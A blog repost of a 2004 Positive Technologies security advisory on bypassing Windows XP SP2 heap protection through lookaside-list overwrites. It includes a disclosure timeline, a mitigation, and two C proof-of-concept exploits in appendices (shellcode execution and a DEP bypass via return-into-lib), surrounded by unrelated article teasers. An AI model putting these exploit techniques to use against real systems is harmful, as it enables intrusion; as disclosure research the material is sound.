Defeating Microsoft Windows XP SP2 Heap protection

Ret2shellcode和NX保护机制 Ret2shellcode和NX保护机制 ret2text漏洞利用依赖于程序中存在执行system(“/bin/sh”)的函数,如果没有这个函数,怎么办呢? 没有执行shell的函数,没有开启NX保护 我们需要传入自定义shellcode,这就利用方式就是ret2shellcode Shellcode是黑客编写的用于实行特定功能的汇编代码,通常是开启一个shell 例如:(linux系统下) Execve(“/bin/sh”,null,null); 汇编代码展示 push 0x68 push 0x73f2f 阅读详情
Alexander Anisimov, Positive Technologies.
( anisimov[at]ptsecurity.com, http://www.ptsecurity.com )
 
 
Overview
 
Memory protection
Buffer overrun attacks are among the most common mechanisms, or vectors, for intrusion into computers. In this type of exploit, the attacker sends a long string to an input stream or control – longer than the memory buffer allocated to hold it. The long string injects code into the system, which is executed, launching a virus or worm.
 
Windows XP Service Pack 2 uses two general categories of protection measures to inhibit buffer-overrun attacks. On CPUs that support it, the operating system can turn on the execution protection bit for virtual memory pages that are supposed to hold only data. On all CPUs, the operating system is now more careful to reduce both stack and heap buffer overruns, using "sandboxing" techniques.
 
Execution Protection (NX)
On the 64-bit AMD K8 and Intel Itanium processor families, the CPU hardware can mark memory with an attribute that indicates that code should not be executed from that memory. This execution protection (NX) feature functions on a per-virtual memory page basis, most often changing a bit in the page table entry to mark the memory page.
 
On these processors, Windows XP Service Pack 2 uses the execution protection feature to prevent the execution of code from data pages. When an attempt is made to run code from a marked data page, the processor hardware raises an exception immediately and prevents the code from executing. This prevents attackers from overrunning a data buffer with code and then executing the code; it would have stopped the Blaster worm dead in its tracks.
 
Although the support for this feature is currently limited to 64-bit processors, Microsoft expects future 32-bit and 64-bit processors to provide execution protection.
 
Sandboxing
To help control this type of attack on existing 32-bit processors, Service Pack 2 adds software checks to the two types of memory storage used by native code: the stack, and the heap. The stack is used for temporary local variables with short lifetimes; stack space is automatically allocated when a function is called and released when the function exits. The heap is used by programs to dynamically allocate and free memory blocks that may have longer lifetimes.
The protection added to these two kinds of memory structures is called sandboxing. To protect the stack, all binaries in the system have been recompiled using an option that enables stack buffer security checks. A few instructions added to the calling and return sequences for functions allow the runtime libraries to catch most stack buffer overruns. This is a case where a little paranoia goes a long way.
In addition, "cookies" have been added to the heap. These are special markers at the beginning and ends of allocated buffers, which the runtime libraries check as memory blocks are allocated and freed. If the cookies are found to be missing or inconsistent, the runtime libraries know that a heap buffer overrun has occurred, and raise a software exception.
 
- from Microsoft.com

Heap Design
 
Heap is a reserved address space region at least one page large from which the heap manager can dynamically allocate memory in smaller pieces. The heap manager is represented by a set of function for memory allocation/freeing which are localised in two places: ntdll.dll and ntoskrnl.exe.
 
Every process at creation time is granted with a default heap, which is 1MB large (by default) and grows automatically as need arise. The default heap is used not only by the win32 apps, but also by many runtime library functions which need temporary memory blocks. A process may create and destroy additional private heaps by calling HeapCreate()/HeapDestroy(). Use of the private heaps` memories is established by calling HeapAlloc() and HeapFree().
 
[*] More detailed information about the heap management functions is provided in the Win32 API documentation.
 
Memory in heaps is allocated by chunks called 'allocation units' or 'indexes' which are 8-byte large. Therefore, allocation sizes have a natural 8-byte granularity. For example if an application needs a 24-byte block the number of allocation units it gets 3 allocation units. In order to manage memory for every block a special header is created, which also has a size divisible by 8 (fig. 1, 2). Therefore a true memory allocation size is a total of the requested memory size, rounded up towards a nearest value divisible by 8 and the size of the header.
 
 
 
Fig.1. Busy block header.
 
 
Fig.2. Free block header.
 
 
Where:
Size - memory block size (real block size with header / 8);
Previous Size - previous block size (real block size with header  / 8);
Segment Index - segment index in which the memory block resides;
Flags - flags:
- 0x01 - HEAP_ENTRY_BUSY
         - 0x02 - HEAP_ENTRY_EXTRA_PRESENT
         - 0x04 - HEAP_ENTRY_FILL_PATTERN
         - 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
         - 0x10 - HEAP_ENTRY_LAST_ENTRY
         - 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
         - 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
         - 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
Unused - amount of free bytes (amount of additional bytes);
Tag Index - tag index;
Flink - pointer to the next free block;
Blink - pointer to the previous free block.
 
 
The specification of the allocation size in allocation units is important for the free block list management. Those free block lists are sorted by size and the information about them is stored in an array of 128 doubly-linked-lists inside the heap header (fig. 3, 4). Free blocks in the size diapasone from 2 to 127 units are stored in lists corresponding to their size (index). For example, all free blocks with the size of 24 units are stored in a list with index 24, i.e. in Freelist[24]. The list with index 1 (Freelist[1]) is unused, because blocks of 8 bytes can`t exist and the list with index 0 is used to store blocks larger than 127 allocation units (bigger than 1016 bytes).
 
 
Fig. 3.
 
 
If, during the heap allocation, the HEAP_NO_SERIALIZE flag was unset but the HEAP_GROWABLE flag was set (which is actually the default), then in order to speed up allocation of the small blocks (under 1016 bytes) 128 additional singly-linked lookaside lists (fig. 3, 4) are created in the heap. Initially lookaside lists are empty and grow only as the memory is freed. In this case during allocation or freeing these lookaside lists are checked for suitable blocks before the Freelists.
 
The heap allocation routines automatically tune the amount of the free blocks to store in the lookaside lists, depending on the allocation frequency for certain block sizes. The more often memory of certain size is allocated -- the more can be stored in the respective lists, and vice versa -- underused lists are trimmed and the pages are freed to the system.
 
Because the main goal of the heap is to store small memory blocks this scheme results in relatively quick memory allocation/freeing.
 
 
 
doubly-linked freelist
 
singly-linked lookaside list
 
Fig. 4.
 
 
 
Heap Overflow
 
Let`s take a look at this pretty simple example of a vulnerable function:
 
HANDLE h = HeapCreate(0, 0, 0); // default flags
 
DWORD vulner(LPVOID str)
{
        LPVOID mem = HeapAlloc(h, 0, 128);
        // <..>
        strcpy(mem, str);
        // <..>
return 0;
}
 
As we can see here the vulner() function copies data from a string pointed by str to an allocated memory block pointed at by buf, without a bound check.
A string larger than 127 bytes passed to it will thereby overwrite the data coincidental to this memory block (Which is, actually, a header of the following memory block).
 
The heap overflow exploitation scenario usually proceeds on like this:
If during the buffer overflow the neighboring block exists, and is free, then the Flink and Blink pointers are replaced (Fig. 5).
At the precise moment of the removal of this free block from the doubly-linked freelist a write to an arbitrary memory location happens:
 
mov dword ptr [ecx],eax
mov dword ptr [eax+4],ecx
 
EAX - Flink
ECX - Blink
 
For example, the Blink pointer could be replaced by the unhandled exception filter address (UEF -- UnhandledExceptionFilter), and Flink, accordingly, by the address of the instruction which will transfer ther execution to the shellcode.
 
[*] More detailed information about the heap overflows is provided in the “Windows Heap Overflows” whitepaper (by David Litchfield, BlackHat 2004).
 
 
Fig. 5.
 
 
 
In Windows XP SP2 the allocation algorithm was changed -- now before the removal of a free block from the freelist, a pointer sanity check is performed with regard to the previous and next block addresses (safe unlinking, fig. 6.):
 
 
Fig. 6. Safe unlinking.
 
 
  1. Free_entry2 -> Flink -> Blink == Free_entry2 -> Blink -> Flink
  2. Free_entry2 -> Blink -> Flink == Free_entry2
 
7C92AE22   mov         edx,dword ptr [ecx]
7C92AE24   cmp         edx,dword ptr [eax+4]
7C92AE27   jne         7C927FC0
7C92AE2D   cmp         edx,esi
7C92AE2F   jne         7C927FC0
7C92AE35   mov         dword ptr [ecx],eax
7C92AE37   mov         dword ptr [eax+4],ecx
 
Then that block gets deleted from the list.
 
The memory header block was changed, besides other things (fig. 7.). A new one-byte-large 'cookie' field was introduced, which holds a unique precomputed token -- undoubtely designed to ensure header consistency.
 
This value is calculated from the header address and a pseudorandom number generated during the heap creation:
 
(&Block_header >> 3) xor (&(Heap_header + 0x04))
 
The consistency of this token is checked only during the allocation of a free memory block and only after its deletion from the free list.
 
 
Fig. 7.
 
If at least one of these checks fails the heap is considered destroyed and an exception follows.
 
The first weak spot -- the fact that the cookie gets checked at all only during free block allocation and hence there is no checks upon block freeing. However in this situation there is nothing you can do except changing the block size and place it into an arbitrary freelist.
 
And the second weak spot – the manipulation of the lookaside lists doesn`t assume any header sanity checking, there isn`t even a simple cookie check there.
Which, theoretically, results in possibility to overwrite up to 1016 bytes in an arbitrary memory location.
 
The exploitation scenario could proceed as follows:
if, during the overflow the concidental memory block is free and is residing in the lookaside list, then it becomes possible to replace the Flink pointer with an arbitrary value.
Then, if the memory allocation of this block happens, the replaced Flink pointer will be copied into the header of the lookaside list and during the next allocation HeapAlloc() will return this fake pointer.
 
The prerequisite for successful exploitation is existence of a free block in lookaside list which neighbors with the buffer we overflow.
 
This technique was successfully tested by MaxPatrol team in trying to exploit the heap buffer overflow vulnerability in the Microsoft Windows winhlp32.exe application using the advisory published by the xfocus team:
 
 
The effect of a successful attack:
1) Arbitrary memory region write access (smaller or equal to 1016 bytes).
2) Arbitrary code execution (appendix A).
3) DEP bypass. (DEP is Data Execution Prevention) (appendix B).
 
 

Disclosure timeline
 
10/09/2004      The possibility to work around the Heap protection mechanism was discovered by MaxPatrol security scanner research team in course of advanced vulnerabilities analysis
12/21/2004      Initial vendor notification
12/22/2004      Initial vendor response
12/22/2004      PoC code was sent to Microsoft.
 
 

Solution
 
One might employ restriction of lookaside list creation, governed by a special global flag, as a temporary security measure. Actually a simple program for this purpose was already created by MaxPatrol research team and is available for free download from:
 
 
During the first execution this program shows the list of applications which already have this flag set. In order to activate the global flag, which would disable use of the lookaside lists, one needs to add the name of the executable file and then, optionally, close the application (PTmsHORP).
 
Warning: this flag, while enabled, may decrease the application performance.
 
 
About Positive Technologies
 
Positive Technologies is a private company specializing in network information security. Its head office is located in Moscow, Russia.
 
The company has two main concentrations: provisioning of integrated services used in protecting computer networks from unauthorized access; and development of the MaxPatrol security scanner and its complementary products. The company's Russian and Ukrainian customers include the largest banks, state organizations and leading telecommunication and industrial companies.
 
The two focuses of Positive Technologies complement and enrich each other. The company employs experienced security specialists who actively conduct penetration testing and security reviews for some of the largest companies and state agencies in Russia. This practical experience allows it to create products of the highest quality and remain on the cutting edge of the security world. By developing products based on this experience leads to more effective, successful, and efficient resolutions of any information-security problems.
 
The company also owns and maintains a leading Russian Information Security Internet Portal www.securityfocus.ru for that it uses for analytic and educational purposes.
 
 
About MaxPatrol
 
MaxPatrol is an integrated system and application security scanner.  MaxPatrol has the ability to detect and recommend solutions for both known and unknown vulnerabilities on multiple platforms. Although MaxPatrol operates within Microsoft Windows, it can test for possible vulnerabilities in any software or hardware platform: from Windows workstations to Cisco networks (*nix, Solaris, Novell, AS400, etc.).
 
MaxPatrol’s technology integrates a powerful and comprehensive protection analyzer developed for web servers and web applications (e.g. shopping carts or online banking applications) as well as operating system vulnerabilities. Unlike information-security scanners that focus only on system vulnerabilities, MaxPatrol provides universal detection on at both the system level and the application level giving a much more throughout view of an organizations security posture on all levels.
 
MaxPatrol’s easy to master GUI and comprehensive reports with suggestions and references mean any security officer can have in-depth knowledge of the security posture of their organization without using multiple, nonintegrated products or complex open source tools.
 
MaxPatrol demo is available at: http://www.maxpatrol.com/DOWNLOAD/MP7DEMO.ZIP.
 
MaxPatrol commercial version is available in the United States through Positives Technologies Distribution and Support Partner Global Digital Forensics, www.evestigate.com
 
Download the latest demo version and get a handle on your security posture.
 
 

Appendix A.
 
/*
 * Defeating Windows XP SP2 Heap protection.
 *
 * Copyright (c) 2004  Alexander Anisimov, Positive Technologies.
 *
 *
 * Tested on:
 *
 *    - Windows XP SP2
 *    - Windows XP SP1
 *    - Windows 2000 SP4
 *    - Windows 2003 Server
 *
 * Contacts:
 *
 *    anisimov@ptsecurity.com
 *    http://www.ptsecurity.com
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */
 
#include <stdio.h>
#include <windows.h>
 
 
unsigned char calc_code[]=
      "/x33/xC0/x50/x68/x63/x61/x6C/x63/x54/x5B/x50/x53/xB9"
      "/x04/x03/x02/x01"      // Address of system() function
      "/xFF/xD1/xEB/xF7";
 
 
void fixaddr(char *ptr, unsigned int a)
{
      ptr[0] = (a & 0xFF);
      ptr[1] = (a & 0xFF00) >> 8;
      ptr[2] = (a & 0xFF0000) >> 16;
      ptr[3] = (a & 0xFF000000) >> 24;
}
 
int getaddr(void)
{
      HMODULE lib = NULL;
      unsigned int addr_func = 0;
      unsigned char a[4];
 
      // get address of system() function
      lib = LoadLibrary("msvcrt.dll");
      if (lib == NULL) {
            printf("Error: LoadLibrary failed/n");
            return -1;
      }
 
      addr_func = (unsigned int)GetProcAddress(lib, "system");
      if (addr_func == 0) {
            printf("Error: GetProcAddress failed/n");
            return -1;
      }
      printf("Address of msvcrt.dll!system(): %08X/n/n", addr_func);
 
      fixaddr(a, addr_func);
      memcpy(calc_code+13, a, 4);
 
      return 0;
}
 
int main(int argc, char **argv)
{
      HANDLE h = NULL;
      LPVOID mem1 = NULL, mem2 = NULL, mem3 = NULL;
      unsigned char shellcode[128];
 
      if (getaddr() != 0)
            return 0;
 
      // create private heap
      h = HeapCreate(0, 0, 0);
      if (h == NULL) {
            printf("Error: HeapCreate failed/n");
            return 0;
      }
      printf("Heap: %08X/n", h);
 
      mem1 = HeapAlloc(h, 0, 64-8);
      printf("Heap block 1: %08X/n", mem1);
      mem2 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 2: %08X/n", mem2);
 
      HeapFree(h, 0, mem1);
      HeapFree(h, 0, mem2);
 
 
      mem1 = HeapAlloc(h, 0, 64-8);
      printf("Heap block 1: %08X/n", mem1);
 
 
      // buffer overflow occurs here...
      memset(mem1, 0x31, 64);
      // fake allocation address in the stack
      memcpy((char *)mem1+64, "/x84/xFF/x12/x00", 4);
 
 
      // lookaside list overwrite occurs here...
      mem2 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 2: %08X/n", mem2);
 
      // allocate memory from the stack
      mem3 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 3: %08X/n", mem3);
 
      memset(shellcode, 0, sizeof(shellcode)-1);
 
      // fake ret address
      memcpy(shellcode, "/x8B/xFF/x12/x00", 4);
      // shellcode - "calc.exe"
      memcpy(shellcode+4, "/x90/x90/x90/x90", 4);
      memcpy(shellcode+4+4, calc_code, sizeof(calc_code)-1);
 
      // overwrite stack frame
      memcpy(mem3, shellcode, sizeof(calc_code)-1+8);
 
      return 0;
}
 
 

Appendix B.
 
/*
 * Defeating Windows XP SP2 Heap protection.
 * Example 2: DEP bypass. (DEP is Data Execution Prevention)
 *
 * Copyright (c) 2004  Alexander Anisimov, Positive Technologies.
 *
 *
 * Tested on:
 *
 *    - Windows XP SP2
 *    - Windows XP SP1
 *    - Windows 2000 SP4
 *    - Windows 2003 Server
 *
 * Contacts:
 *
 *    anisimov@ptsecurity.com
 *    http://www.ptsecurity.com
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */
 
#include <stdio.h>
#include <windows.h>
 
 
unsigned char calc_code[]=
      "/x33/xC0/x50/x68/x63/x61/x6C/x63/x54/x5B/x50/x53/xB9"
      "/x04/x03/x02/x01"      // Address of system() function
      "/xFF/xD1/xEB/xF7";
 
 
void fixaddr(char *ptr, unsigned int a)
{
      ptr[0] = (a & 0xFF);
      ptr[1] = (a & 0xFF00) >> 8;
      ptr[2] = (a & 0xFF0000) >> 16;
      ptr[3] = (a & 0xFF000000) >> 24;
}
 
int getaddr(unsigned char *a)
{
      HMODULE lib = NULL;
      unsigned int addr_func = 0;
 
      // get address of system() function
      lib = LoadLibrary("msvcrt.dll");
      if (lib == NULL) {
            printf("Error: LoadLibrary failed/n");
            return -1;
      }
 
      addr_func = (unsigned int)GetProcAddress(lib, "system");
      if (addr_func == 0) {
            printf("Error: GetProcAddress failed/n");
            return -1;
      }
      printf("Address of msvcrt.dll!system(): %08X/n/n", addr_func);
 
      fixaddr(a, addr_func);
 
      return 0;
}
 
 
int main(int argc, char **argv)
{
      HANDLE h = NULL;
      LPVOID mem1 = NULL, mem2 = NULL, mem3 = NULL;
      unsigned char shellcode[128];
 
      // create private heap
      h = HeapCreate(0, 0, 0);
      if (h == NULL) {
            printf("Error: HeapCreate failed/n");
            return 0;
      }
      printf("Heap: %08X/n", h);
 
      mem1 = HeapAlloc(h, 0, 64-8);
      printf("Heap block 1: %08X/n", mem1);
      mem2 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 2: %08X/n", mem2);
 
      HeapFree(h, 0, mem1);
      HeapFree(h, 0, mem2);
 
      mem1 = HeapAlloc(h, 0, 64-8);
      printf("Heap block 1: %08X/n", mem1);
 
 
      // buffer overflow occurs here...
      memset(mem1, 0x31, 64);
      // fake allocation address in the stack
      memcpy((char *)mem1+64, "/x84/xFF/x12/x00", 4);
 
 
      // lookaside list overwrite occurs here...
      mem2 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 2: %08X/n", mem2);
 
      // allocate memory from the stack
      mem3 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 3: %08X/n", mem3);
 
      memset(shellcode, 0, sizeof(shellcode)-1);
 
      // “return-into-lib” method
// fake ret address -> system()
      getaddr(&shellcode[0]);
      memcpy(shellcode+4, "/x32/x32/x32/x32", 4);
 
      // shellcode - "calc.exe"
      memcpy(shellcode+8, "/x94/xFF/x12/x00", 4);
      memcpy(shellcode+12, "/x31/x31/x31/x31", 4);
      memcpy(shellcode+16, "calc", 4);
      memcpy(shellcode+20, "/x0a/x31/x31/x31", 4);
 
      // overwrite stack frame
      memcpy(mem3, shellcode, 24);
 
      return 0;
}
[pcie]gen6 下 L0p 000b~100b: 触发L0p 操作流程协商工作link width 到target link width.为111b:link width 硬件动态调整。硬件动态:Device control 3 register.target link width=111b当pcie链路检测到空闲状态时,设备可以主动进入L0p状态。L0p 是pcie gen6 新引入的链路状态,是L0的子状态。(5)LINK WIDTH:当LINK WIDTH CHANGE.cmd为Request时表示请求的链路宽度。 阅读详情

相关推荐

【RT-Thread】从零到一:RT-Thread Studio工程创建与程序下载全流程实战

本文详细介绍了RT-Thread Studio开发环境的安装与使用,从工程创建到程序下载的全流程实战指南。通过具体案例演示了如何在STM32平台上快速开发RT-Thread应用,包括时钟配置、内存优化、构建调试等关键技巧,帮助开发者高效完成嵌入式系统开发。

weixin_30336061的博客 542

jarvisoj——[XMAN]level4

题目 Wp 检查基础项,有NX保护 ida看的时候还是之前的那种,但是没有给lib,需要自己去找 那么这里第一步,肯定是找到system的地址 第二步将/bin/sh写入bss字段 第三部调用即可

王嘟嘟的博客 724

到底是什么决定了二极管的最高工作频率?

硬件工程师,应该都用过二极管的吧,不过也许有一个误区,大多数人可能并不知道,或者说是理解有问题,下面就来细细说下。 一个问题 先提一个问题:到底是什么决定了二极管的最高工作频率? 估计有不少人会回答是二极管反向恢复时间Trr,也有人会说是二极管结电容,那到底谁是对的呢?或者说都一样,反向恢复时间由结电容决定? 到底什么决定了二极管的最高工作频率,我们暂且不论,不过需要知道的是,二极管的反向恢复时间和结电容根本就是两回事,反向恢复时间绝不能等同于结电容的充放电时间。 为什么我这么说呢?.

weixin_42005993的博客 4832

windows系统上使用VS编译器时对缓冲区溢出的防范措施

0x01 /GS --缓冲区安全性检查 如果使用/GS进行编译,将在程序中插入代码,以检测可能覆盖函数返回地址的缓冲区溢出。如果发生了缓冲区溢出,系统将向用户显示一个警告对话框,然后终止程序。这样,攻击者将无法控制应用程序。用户也可以编写自定义的错误处理例程,以代替默认对话框来处理错误。 在返回地址之前将插入一个专门的 cookie(系列字节),以使得任何缓冲区溢出都将更改该cooki

qq51931373的专栏 2098

避坑指南:CoppeliaSim逆运动学仿真常见报错解决方案(附UR5+RG2爪完整Lua脚本)

本文针对CoppeliaSim机器人仿真中常见的逆运动学报错问题,提供了详细的避坑指南和解决方案。文章以UR5机械臂与RG2夹爪组合为例,深入剖析了模型装配、Dummy节点配置、Lua脚本编写等关键步骤中的常见错误,并附带了完整的、带错误处理的脚本代码,帮助用户快速定位并解决IK仿真失败问题,提升仿真效率。

weixin_29054399的博客 267

手把手用LTspice仿真运算放大器电路:从虚短虚断到频响分析

本文通过LTspice仿真软件,手把手教你从搭建基础运算放大器电路开始,验证虚短虚断原理,并逐步深入频响分析与稳定性探究。内容涵盖反相/同相放大器、积分器仿真,导入真实运放模型进行蒙特卡洛分析,以及利用交流分析和波特图评估电路性能,帮助工程师和学生将抽象理论转化为直观、可测量的仿真结果,提升电路设计实战能力。

salt9的博客 1094

Linux | gcc编译中开启linux程序保护机制的参数

文章目录总结NXCanaryPIERELROFortify 总结 NX:-z execstack / -z noexecstack (关闭 / 开启) Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) PIE:-no-pie / -pie (关闭 / 开启) RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) NX gcc -

Kni9hT's Blog 1553

RTX4090上跑CenterNet训练

参考实现 url=https://github.com/xingyizhou/CenterNet.git commit_id=5b1a490a52da57d3580e80b8bb4bbead9ef2af96

遗失的神庙 1622

堆溢出攻击(XP SP2 - 2003)

微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重: * PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而是使用具有一定随机性的基址,从而影响了 DWORD SHOOT 对 PEB 中函数的攻击。 * Safe Unlink:微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心...

whatday的专栏 1678

<202505高项>《【VIP合集】 软考高项(第四版)十大知识域、五大过程组、ITTO输入输出工具、项目绩效域》

软考高项(第四版)十大知识域、五大过程组、ITTO输入输出工具、项目绩效域

Else 的博客 1854

小龙虾OpenClaw卸载全攻略,彻底清理缓存和配置,干净无残留!

不想要的小龙虾OpenClaw怎么彻底卸载?🦞本文教你如何彻底的卸载OpenClaw⚡️,Windows/macOS/Linux通用,干净无残留🧹

XiaoqiangClub的博客 313

两种保护机制:NX和Canary

因为自己学的比较慢,自学能力也比较差,假期过去挺久了,进度也才跟进到保护机制,可能接下来会花比较长的时间在这里。而保护机制我是从最简单的NX保护机制开始学起的,NX典型的例子有ret2syscall和libc,为了便于理解为什么有这种保护机制以及为什么需要这种保护机制,我去网上找了一些NX的原理。 NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行

weixin_46711318的博客 6224

【YOLO目标检测全栈实战】68 模型量化:从FP32到INT8,精度不掉,速度翻倍

摘要: 模型量化能显著提升推理速度(如YOLOv5s帧率从15FPS提升至38FPS),但需避免三大误区:1)校准集需覆盖实际场景,而非随机采样;2)敏感层(如检测头)应保留FP32精度;3)预处理必须与量化前后一致。通过混合精度量化(Backbone用INT8,检测头用FP32)和逐通道量化,可实现<1%的mAP损失。关键步骤包括校准数据准备、量化感知训练及逐层精度评估,最终在Jetson Nano等边缘设备上实现速度与精度的平衡。

企鹅码农的专属播客,分享10多年的实战案例和经验解读,包含YOLO、RT-DETR、AI等各个工作领域。 146

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

weixin_44218929的博客 186

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

C# 数据结构和特殊类型

.NET Core(现称.NET)提供丰富数据结构,优化性能与开发效率。日常开发首选List<T>和Dictionary<TKey,TValue>;高性能场景推荐Span<T>与Memory<T>减少内存分配;并发环境使用ConcurrentDictionary等线程安全集合;避免非泛型集合如ArrayList。

cccloveforever的博客 673

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

工厂设备接MES为什么慢:协议识别与点表配置自动化的技术拆解

工业现场设备接 MES 的周期主要消耗在协议识别与点表配置。本文拆解这条链路的四层结构,给出点表映射的数据模型、两种部署架构的对比,以及可直接落地的三项验收口径与校验代码。适合工控集成、MES 实施、设备联网方向的工程师。

emfuture的博客 387

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

list

的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后一个元素。,因此反向迭代器的实现可以借助正向迭代器,即:反向迭代器内部可以包含一个正向迭代器,对正向迭代器的接口进行包装即可。是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。迭代到该位置,在这段位置上迭代需要线性的时间开销;最大的缺陷是不支持任意位置的随机访问,比如:要访问。还需要一些额外的空间,以保存每个节点的相关联信息。个元素,必须从已知的位置。

xie0510_的博客 271

向 excel、word、pdf 三种文档中占位符插入数据

【代码】向 excel、word、pdf 三种文档中占位符插入数据。

weixin_45934659的博客 54

C++ STL 反向迭代器:从源码框架到适配器实现

在 C++ STL 中,反向迭代器(reverse_iterator)是一个很典型的设计案例:它本身并不直接持有容器数据,而是通过封装一个正向迭代器,把「前进」变成「后退」,从而让同一个容器既能正序遍历,也能逆序遍历。本文从 SGI-STL 3.0 的源码框架出发,梳理反向迭代器的设计思路,再手写一个通用的迭代器适配器,并在vector和list中完成适配与测试。在 SGI-STL 3.0 中,反向迭代器的核心源码位于。反向迭代器是一个适配器,各个容器再基于它适配出自己的反向迭代器类型。下面截取list。

Godbro的博客 231

软件商店常见问题标准处理流程

从底层软件源来看,/etc/apt/sources.list配置错误、源地址失效、公网与内网离线源混用、ARM64与x86_64架构源串用,以及DNS解析异常、系统代理配置错误,都会导致商店无法获取应用数据;打开该应用,确认可正常运行;软件商店作为系统内置的图形化软件分发与安装入口(UKUI桌面配套组件,底层依赖APT软件源),承担着应用软件的浏览、搜索、下载、安装、升级与卸载等核心功能,是终端软件部署与管理的关键通道。覆盖软件商店启动、页面加载、应用下载、安装、卸载、搜索、自身更新等全部业务场景。

qq_39496637的博客 272

【AI 开发从入门到进阶 · 10】收官篇:LoRA 微调、模型评估、推理加速与生产部署全链路

本文系统梳理了大模型微调与生产落地的全流程,从决策是否微调、优选LoRA技术方案,到代码实现、效果评估、推理加速与FastAPI服务封装,最终构建可迭代的生产级AI系统。强调“逐级升级”原则,倡导以数据闭环驱动优化,避免技术冲动。全系列贯穿工程化思维,提供可复用模板与实战建议,助力开发者从模型训练迈向稳定可用的AI服务部署。

信息安全领域优质创作者|操作系统领域专家 24

LangGraph 的分离思想总结

LangGraph 的分离思想,本质上是对"高内聚、低耦合"这一经典工程原则在 LLM 应用领域的落地。它通过状态与逻辑分离、节点职责分离、控制流与执行分离、计算与持久化分离、编排与实现分离五个层面,把一个难以维护的"大黑盒"拆解成一组可组合、可测试、可观测的部件。理解这套分离思想,比记住 API 更重要——因为当你面对新的智能体场景时,真正指导你做出合理拆分的,正是这些分离原则。

张晨光老师的播客 373

[C++]:7.STL:list

好久不见,firdawn小课堂又和大家见面啦。今天我们要学习的内容是list容器,list也是一种常用的数据结构。下面是本章的思维导图,那么让我们开始学习吧!自定义的list,由三个结构构成。分别是链表的最小组成单位,也就是链表节点。以及迭代器类和list类其实要特别说明的是, List的迭代器,它不是单纯的指针,因为我们如果对指针直接进行解引用操作的话,我们得到的是这个节点,而不是节点里面存储的值并且我们对这个指针加加,得到的也不是下一个节点的地址,而是所在节点的下一个单位的地址。

2301_80817679的博客 185

Java基础:泛型、类型擦除与 PECS 原则

泛型允许类、接口和方法使用类型参数,把许多类型检查提前到编译期,减少显式类型转换,提高代码复用性。例如。

cjpabc的博客 318

RT-Thread 5.4.0 完整版架构剖析(下):IPC、时钟、内存、设备与组件

从 IPC 全量、时钟与定时器、内存管理,到设备框架、组件层、软件包机制、移植裁剪与速查表,补齐 RT-Thread 5.4.0 完整版的下半张地图。

197

CMake 多目录工程实战:静态库与动态库的完整构建示例

本文通过一个完整CMake项目示例,展示了如何构建静态库(math)与动态库(sort),并分别在test1、test2中链接使用。项目结构清晰,顶层CMakeLists.txt统一管理变量,各子目录独立配置编译规则。通过add_library生成库,link_directories和link_libraries实现链接,最终完成构建与验证。重点区分了静态库(打包进可执行文件)与动态库(运行时加载)的差异,适用于实际工程化开发与面试准备。

2303_77004089的博客 121
上一篇: adore rootkit分析
下一篇: hiddenQuser + 源码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值